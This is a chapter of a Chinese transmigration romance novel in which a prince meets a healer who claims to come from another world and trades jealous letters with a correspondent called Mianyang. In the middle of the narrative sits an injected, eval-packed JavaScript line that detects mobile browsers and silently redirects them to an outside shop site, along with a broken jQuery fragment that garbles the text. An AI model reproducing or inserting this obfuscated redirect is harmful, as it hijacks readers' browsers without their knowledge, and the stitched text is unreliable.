……

    “你是说,你从另一个世界来?那个世界存在和我长相一模一样的人?”

    确实荒谬。

    季衍若没在雨天被雷劈到,意外捡回一条命。

    他不会相信世上存在超自然的事情。

    对于一个古代人,听完离谱的消息,脸上不存在一丝惊讶,竟依旧慢条斯理地整理那一箱子空白信纸。

    让蚩夜寻惊讶不已,他揉后腰起身,围着季衍转了一圈。

    企图在季衍脸上的表情上看到一丁点儿震惊。

    “你不觉得荒谬吗?”

    季衍抽出手下木箱里的一张信纸,递给蚩夜寻,随后说:“你在上面看到字了么?”

    “哪儿来的字?”蚩夜寻不解,翻动纸张,正反两面皆为空白,别说字迹,连墨水的痕迹都不曾看见。

    季衍:“上面有字,且只有我一人可见。有人常用此法凭空给我传递信件,这样想来,你所说的倒也能叫人信服。”

    蚩夜寻捏着纸看来看去,抬起来透光看,空无一字,揉得纸张略皱。

    季衍从他手里抽走信纸,放在箱盖上压平,将信装进木箱里。

    蚩夜寻摸着下巴在季衍面前走来走去,身上的银饰配件交相碰撞发出清脆的响声,火纹细线勾勒出的图画隐在衣裳上,这一身奇装异服晃得人头晕。

    季衍眸光微斜,问:“你苗疆人身份是假的?神医身份也是假的,又或者你是个半吊子?”

    比起异世之人,季衍更加关心开的药方有没有问题。

    还好【绵羊】近来生病,没煎煮草药服用,但还是要问清楚。

    蚩夜如实说:

    “我在那个世界的身份和现在相似,苗疆后人,祖上四十代都苦苦钻研中医。神医名号是我穿进来后才有的。”

    “话说,你真没任何别的记忆吗?”

    “你是我来这个世界大半年里,遇到的唯一一张熟悉面孔。”

    季衍没回这句,反而说:“你随我回皇宫。”

    “啥?去哪儿?”蚩夜寻翻话本子的手愣住。

    话本子里的故事太老了,他那儿的故事比季衍这儿的要新奇百倍,这种质量的本子,无聊时勉强看看也行。

    恰好他是那个无聊的人,穿来这个世界他早早过上了退休后的生活。

    原先还担心人生地不熟,露宿街头饿死,得亏身上有点本事,不会武功但会养蛊,平日里随便给富商看看病,手里也不缺银子。

    季衍简言道:“皇、宫。”

    蚩夜寻扔了话本子,“我不去!”

    他从不医官家人,官家人不好惹,说错几句话或者知道点不可说的秘密,脖子分分钟断成两节。

    进宫,等于去送人头。

    季衍:“我怎知你给的药方不会害死人?”

    蚩夜寻撒腿准备跑,门一开,亮剑直勾勾朝他怼来,他像个缩头乌龟似的折返回来。

    天大地大,性命最大,该怂就得怂。

    “行吧,谁叫我医术过人,让王爷你求着去皇宫小住。”

    季衍犀利的眼神扫过来,蚩夜寻话声弱下去,笑着改了话术:

    “我总感觉我传进了某个副本里,说不定你闯的副本level比我高,进而失去了之前的记忆,我俩都是异世之人呢。”

    “要真是这样,咱俩也算是老乡见老乡,两眼泪汪汪咯。”

    “谁跟你是老乡。”季衍嗤声,“我有完整的记忆,并非你说的异世之人。”

    蚩夜寻叹气,不是也好,说明好兄弟没出事。

    来这鬼世界,开局时,听到了世界规则,一道机械声播报说什么找回自己便可回归现实。

    天下之大,去哪儿寻和自己长一样的人。

    这不,没找到和自己长相一致的人,却找到了和季衍同名同姓且一个模子刻出来的人。

    他笑说:“不是就不是了呗,放心,看在你和我好兄弟长一样的份儿上,我会认真帮你追喜欢的姑娘。”

    拿出一百二十分的那种认真。

    蚩夜寻又要来勾肩搭背,季衍嫌弃地用剑鞘戳回他的长爪子,“蚩夜寻,请你自重。”

    蚩夜寻单脚踩在圆凳上,一甩衣袍,衣角掀飞,拍拍胸脯说:

    “有我在没意外,别跟我客气,我还想看看你这棵万年铁树开花的模样。”

    “咱就走强取豪夺路线,肯定比话本子里写的精彩数千倍,哈哈哈……”

    笑声过于魔性,吵得季衍堵了堵耳朵,命人将蚩夜寻拖出去。

    不去当媒婆可惜了。

    另一个世界的他眼光挺差,交这种不三不四的朋友。

    看看他家【绵羊】的消息。

    季衍被这个突然冒出脑海的想法惊了一瞬,揉着太阳穴倚在桌边缓了缓。

    真是被蚩夜寻气昏了头!

    他提笔在纸上写。

    【敛之】:绵羊,你不满意么?

    瞬间回过来一封信件。

    互联网嘛,先把网线那头的人哄高兴了,说不定下次还有类似的福利,鹿眠这么想也这么做了。

    【绵羊】:宝宝,我特别满意,你朋友的声音也好好听。我反复听了好几遍,耳朵都要怀孕了。

    【绵羊】:喘起来肯定更好听,嘻嘻,开个玩笑(红脸逃走)。

    【绵羊】:真想亲死你×3/图画表情.

    黑白色的图画跃然纸上,一个带着红色针织帽的狗狗头凑近,空白的地方有心形小图案。

    季衍高兴不起来,灼灼目光锁定在第一句话里,心头甚至堵着团棉花般烦闷。

    【敛之】:你喜欢蚩夜寻的声音?

    【绵羊】:他叫蚩夜寻吗?这名字还挺好听,和他的声音一样。

    这张成了唯一一张没装进木箱里的信纸,烧得很干净,灰烬落在地上还被季衍踩了几脚。

    在他印象中,【绵羊】只知道他字敛之,未曾喊过他姓名。

    季衍莫名堵着股气,任由玉佩嗡嗡作响,这次真没回消息。

    气饱了,程冲喊他吃晚膳,他没去。

    丁武来了第二趟,在屋外喊:“公子,您多少出来吃点啊!蚩神医饭量大,一桌子菜快被他……”

    不等丁武说完,季衍来了一句:“让他滚。”

    丁武抓着后脑勺转身嘀咕,刚才他们主子说的是蚩神医医术高超,要纳他为王府幕僚。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742089|208310||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    主子是让他滚?丁武指指自己。

    王爷说的肯定是程冲,程冲说话收不住嘴,指定说了不该说的话。

    对,让程冲滚。

    丁武幸灾乐祸地跑去后院跟其他侍卫公布此消息。

    不多时,程冲敲响了季衍的屋门,咚的一声跪在门口,“公子,属下有罪!”

    季衍提剑开了屋门,走路带风,衣袂翻飞。

    大晚上轻功越上墙头,咻咻几下没了踪影。

    程冲见状要去追,蚩夜寻嗑着炒瓜子出来喊他,“程侍卫,不必去追,你们王爷啊……啧啧啧~~”

    程冲凑上去问:“蚩神医,此话怎讲,真是我鲁莽惹王爷生气了?”

    蚩夜寻一脸正经,在程冲和丁武的注视下磕了两三颗瓜子,才缓而不慢道:“非也非也,你猜他为何要喊你们将我拉出门?”

    三人说着说着,蹲在墙角一同嗑起了瓜子。

    随着蚩夜寻“呸”一声,吐掉嘴里的瓜子壳。

    他说:“你们王爷爱而不得,他喜欢的女子指定是有了心上人,我让他使强取豪夺的法子将人抢来,你们猜怎么着?”

    程冲和丁武听得起劲儿,催促说:“蚩神医,你别卖关子啊,快说快说!”

    蚩夜寻四处打探,聊八卦的老手了,这些动作他在行,先要看看当事人在不在场。

    确定没人盯着他们,放心说了出来:“他急眼了!我劝你们最近少说话多做事,万一他一个不高兴拿你俩出气,你们可就惨喽!”

    程冲:“蚩神医,没想到你挺有眼力劲儿啊!”

    蚩夜寻往布袋子里扔手里剩下的瓜子,手里沾到了锅灰,拍了手,手心依旧黑黢黢。

    半披的长发耷拉在胸膛前,他扒拉往脖后一丢,说着:“看来我得出手了,我这就去给他整一套追妻一百零一式手札。”

    丁武平日里不爱聊八卦,却被勾起了兴趣,“蚩神医,你还没说王爷他喜欢的是哪家的姑娘?”

    然而蚩夜寻头也不回地走了。

    更确切的说,他借着机会潜入季衍屋中,找到季衍随手塞在犄角旮沓的蛊虫,加了点料,再潇洒离去。

    爱而不得,晚上指定难眠,祝和他异时空兄弟季衍好梦。

    *

    是夜,满月悬天。

    风大沙大,呼呼扑面刮来,稍不注意喘口气能吃一嘴沙子。

    月光照亮处,一人提剑挥动,剑身破风发出锐响,地面的沙子被剑气扫动,远离海边的一块沙地不知道被画了几个王八。

    练得尽兴了,腕骨一转,银剑直插入沙土中。

    季衍旋身站稳,单手虚握拳负于背,马尾高扎在脑后,丝丝乌发与细汗黏在颈骨分明的脖侧。

    “嗡嗡嗡~”

    玉佩果然甩不掉,出现在身侧不远处响个不停。

    烦人,季衍捡了玉佩往身侧一挂,看了【绵羊】新写过来的信。

    她说她吃了晚饭后身体没那么难受了,她要早早睡下,改日再聊。

    仅是看了信,没回任何话。

    呵~是个男的,声音就好听了?

    季衍拔出沙土里的剑,练到天光破晓,直到岸口来人,他才收剑回去。